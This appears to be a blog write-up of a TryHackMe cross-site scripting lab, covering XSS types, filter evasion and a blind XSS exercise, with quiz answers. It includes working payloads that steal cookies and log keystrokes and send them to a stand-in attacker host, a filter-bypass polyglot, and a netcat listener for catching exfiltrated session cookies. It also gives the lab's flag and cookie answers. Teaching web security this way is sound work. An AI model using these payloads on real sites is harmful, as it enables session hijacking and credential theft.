Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users. In this blog, you'll learn about the different XSS types, how to create XSS payloads, how to modify your payloads to evade filters, and then end with a practical lab where you can try out your new skills.
The Following are some reports on XSS vulnerability founded in massive web applications. You can get paid very well for finding and reporting these vulnerabilities.
- XSS found in Shopify - $7,500 for XSS found in Steam chat - $2,500 for XSS in HackerOne - XSS found in Infogram
Q1. What does XSS stand for?
Ans: Cross-Site Scripting
XSS_Payloads ( ) => {
In XSS, the payload is the JavaScript code we wish to be executed on the targets computer. There are two parts to the payload, the intention and the modification.
The intention is what you wish the JavaScript to actually do, and the modification is the changes to the code we need to make it execute as every scenario is different.
Here are some examples of XSS intentions.
Proof Of Concept [PoC]:
This is the simplest of payloads where all you want to do is demonstrate that you can achieve XSS on a website. This is often done by causing an alert box to pop up on the page with a string of text, for example:
<script>alert('XSS');</script>
Session Stealing:
Details of a user's session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user.
<script>fetch('https://hacker.aj/steal?cookie=' + btoa(document.cookie));</script>
Key Logger:
The below code acts as a key logger. This means anything you type on the webpage will be forwarded to a website under the hacker's control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.
<script>document.onkeypress = function(e) { fetch('https://hacker.aj/log?key=' + btoa(e.key) );}</script>
Business Logic:
This payload is a lot more specific than the above examples. This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user's email address called `user.changeEmail()`. Your payload could look like this:
<script>user.changeEmail('attacker@hacker.thm');</script>
Now that the email address for the account has changed, the attacker may perform a reset password attack.
Q1. Which document property could contain the user's session token?
Ans: document.cookie
Q2. Which JavaScript method is often used as a Proof Of Concept?
Ans: alert
}
XSS_Types ( ) => {
Reflected XSS, where the malicious script comes from the current HTTP request.
Stored XSS, where the malicious script comes from the website's database.
DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.
Blind XSS, it's like Stored XSS, but in this instance, you can't see the payload working or be able to test it against yourself first.
Reflected_cross-site_Scripting [
Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Example Scenario:
A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.


The application doesn't check the contents of the error parameter, which allows the attacker to insert malicious code.



How to test for Reflected XSS:
- Parameters in the URL Query String
- URL file Path
- Sometimes HTTP Headers
Q1. Where in an URL is a good place to test for reflected XSS?
Ans: parameters
],
Stored_cross-site_scripting [
Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
The XSS payload is stored in the web application (eg. in database) and then get run when user visit the site or the web page.

The malicious JavaScript could redirect users to another site, steal the user's session cookie, or perform other website actions while acting as the visiting user.
You'll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:
- Comments on a blog - User profile information - Website Listings
Q1. How are stored XSS payloads usually stored on a website?
Ans: Database
],
DOM_Based_XSS [
DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document, and this document can be either displayed in the browser window or as the HTML source. A diagram of the HTML DOM is displayed below:

DOM-based XSS vulnerabilities usually arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution, such as eval() or innerHTML. This enables attackers to execute malicious JavaScript, which typically allows them to hijack other users' accounts.
To deliver a DOM-based XSS attack, you need to place data into a source so that it is propagated to a sink and causes execution of arbitrary JavaScript.
The most common source for DOM XSS is the URL, which is typically accessed with the window.location object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL. In certain circumstances, such as when targeting a 404 page or a website running PHP, the payload can also be placed in the path.
Q1. What unsafe JavaScript method is good to look for in source code?
Ans: eval()
],
Blind_XSS [
Blind XSS is similar to a stored XSS, in that your payload gets stored on the website for another user to view, but in this instance, you can't see the payload working or be able to test it against yourself first.
How to test for Blind XSS:
When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed.
Q1. What tool can you use to test for Blind XSS?
Ans: XSS Hunter Express
Q2. What type of XSS is very similar to Blind XSS?
Ans: Stored XSS
],
}
Perfecting_your_payload ( ) => {
At very first, start the machine and then open the link below into the new tab.
The aim for each level will be to execute the JavaScript alert function with the string THM, for example:
<script>alert('THM');</script>
Level_1[
You are shown a form where you type your name. After you submit it, your name appears on the line below as 'Hello, <your_name>':

now view the page source code or inspect the element by clicking Ctrl+Shift+i and, You'll see your name reflected in the code:

Instead of entering your name, enter the following JavaScript Payload:
<script>alert('THM');</script>
When you click the enter button, you'll get an alert popup with the string THM and the page source will look like the following:

And you get confirmation that your payload has worked successfully, now click the link to level_2.
],
Level_2[
As same as previous level, but now your name is being reflected in an input tag instead:

After viewing the page source you get to see that your name reflected inside the value attribute of the input tag:

Previous JavaScript payload wouldn't work because you can't run it from inside the input tag. Instead, we need to escape the input tag first so the payload can run properly. You can use following payload:
"><script>alert('THM');</script>
The important part of the payload is the "> which closes the value parameter and then closes the input tag.

Now when you click the enter button, you'll get an alert popup with the string THM. And then, you'll get a confirmation message that your payload was successful with a link to the level_3.
],
Level_3[
This time your name gets reflected inside an HTML textarea tag.

We'll have to escape the textarea tag a little differently from the input one (in Level Two) by using the following payload:
</textarea><script>alert('THM');</script>

After using the payload:

The important part of the above payload is </textarea>, which causes the textarea element to close so the script will run.
Now let's jump to the level_4.
],
Level_4[
DOM-Based XSS Practical:
This level looks similar to level one, but upon inspecting the page source, you'll see your name gets reflected in some JavaScript code.

You'll have to escape the existing JavaScript command, so you're able to run your code; you can do this with the following payload:
';alert('THM');//
'closes the field specifying the name, then;signifies the end of the current command, and the//at the end makes anything after it a comment rather than executable code.
Now when you click the enter button, you'll get an alert popup with the string THM. And then, you'll get a confirmation message that your payload was successful with a link to the level_5.
],
Level_5[
Now, this level looks the same as level one, and your name also gets reflected in the same place. But if you try the following payload.
<script>alert('THM');</script>
it won't work. When you view the page source, you'll see why.

The word script gets removed from your payload, that's because there is a filter that strips out any potentially dangerous words.
When a word gets removed from a string, there's a helpful trick that you can try.
Original Payload:
<sscriptcript>alert('THM');</sscriptcript>
Text to be removed (by the filter):
<sscriptcript>alert('THM');</sscriptcript>
Final Payload (after passing the filter):
<script>alert('THM');</script>
Try entering the payload <sscriptcript>alert('THM');</sscriptcript> and click the enter button, you'll get an alert popup with the string THM. And then, you'll get a confirmation message that your payload was successful with a link to the level_6.
],
Level_6[
Similar to level two, where we had to escape from the value attribute of an input tag, we can try "><script>alert('THM');</script>, but that doesn't seem to work. Let's inspect the page source to see why that doesn't work.

You can see that the < and > characters get filtered out from our payload, preventing us from escaping the IMG tag. To get around the filter, we can take advantage of the additional attributes of the IMG tag, such as the onload event. The onload event executes the code of your choosing once the image specified in the src attribute has loaded onto the web page.
Let's change our payload to reflect this
/images/cat.jpg" onload="alert('THM');
and then viewing the page source, and you'll see how this will work.

Now when you click the enter button, you'll get an alert popup with the string THM. And then, you'll get a confirmation message that your payload was successful; with this being the last level, you'll get a flag.
Q1. What is the flag you received from level six?
Ans: THM{XSS_MASTER}
],
Polyglots [
An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you've just completed, and it would have executed the code successfully.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
]
}
Practical_Example_Blind_XSS ( ) => {
For the last task, we will go over a Blind XSS vulnerability. Start the machine and then open the link below into the new tab.
You'll need to use the AttackBox to perform this practical so, start the attack box using the blue button at the top of the page.
Note — It is recommended you use the AttackBox for this task.
As soon as you get into the web page click on the Customers tab on the top navigation bar and click the "Signup here" link to create an account. Once your account gets set up, click the Support Tickets tab, which is the feature we will investigate for weaknesses.
Now try creating the 'testing' support ticket by clicking the green create ticket button, enter the subject and content of just the word test and then click the blue Create Ticket button.
Upon viewing the page source, we can see the text gets placed inside a HTML textarea tag.


Let's now go back and create another ticket. Let's see if we can escape the textarea tag by entering the following payload into the ticket contents:
</textarea>test
Yes we can do that:


Using the AttackBox, let's set up a listening server using Netcat. If we want to listen on port 9001, we issue the command nc -l -p 9001. The -l option indicates that we want to use Netcat in listen mode, while the -p option is used to specify the port number. To avoid the resolution of hostnames via DNS, we can add -n; moreover, to discover any errors, running Netcat in verbose mode by adding the -v option is recommended. The final command becomes nc -n -l -v -p 9001, equivalent to nc -nlvp 9001.
nc
user@machine$ nc -nlvp 9001
Listening on [0.0.0.0] (family 0, port 9001)Now that we've set up the method of receiving the exfiltrated information, let's build the payload.
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
Break Down of the payload:
The
</textarea>tag closes the text area field.
The
<script>tag opens an area for us to write JavaScript.
The
fetch()command makes an HTTP request.
URL_OR_IPis either the THM request catcher URL, your IP address from the THM AttackBox, or your IP address on the THM VPN Network.
PORT_NUMBERis the port number you are using to listen for connections on the AttackBox.
?cookie=is the query string containing the victim's cookies.
btoa()command base64 encodes the victim's cookies.
document.cookieaccesses the victim's cookies for the Acme IT Support Website.
</script>closes the JavaScript code block.
Now create another new ticket and input that above payload over their, making sure to swap out the URL_OR_IP:PORT_NUMBER.
Now, wait up to a minute, and you will see the request come through containing the victim's cookies.
At the end you just decode the cookies from base64decoder.
Q1. What is the value of the staff-session cookie?
Ans: 4AB305E55955197693F01D6F8FD2D321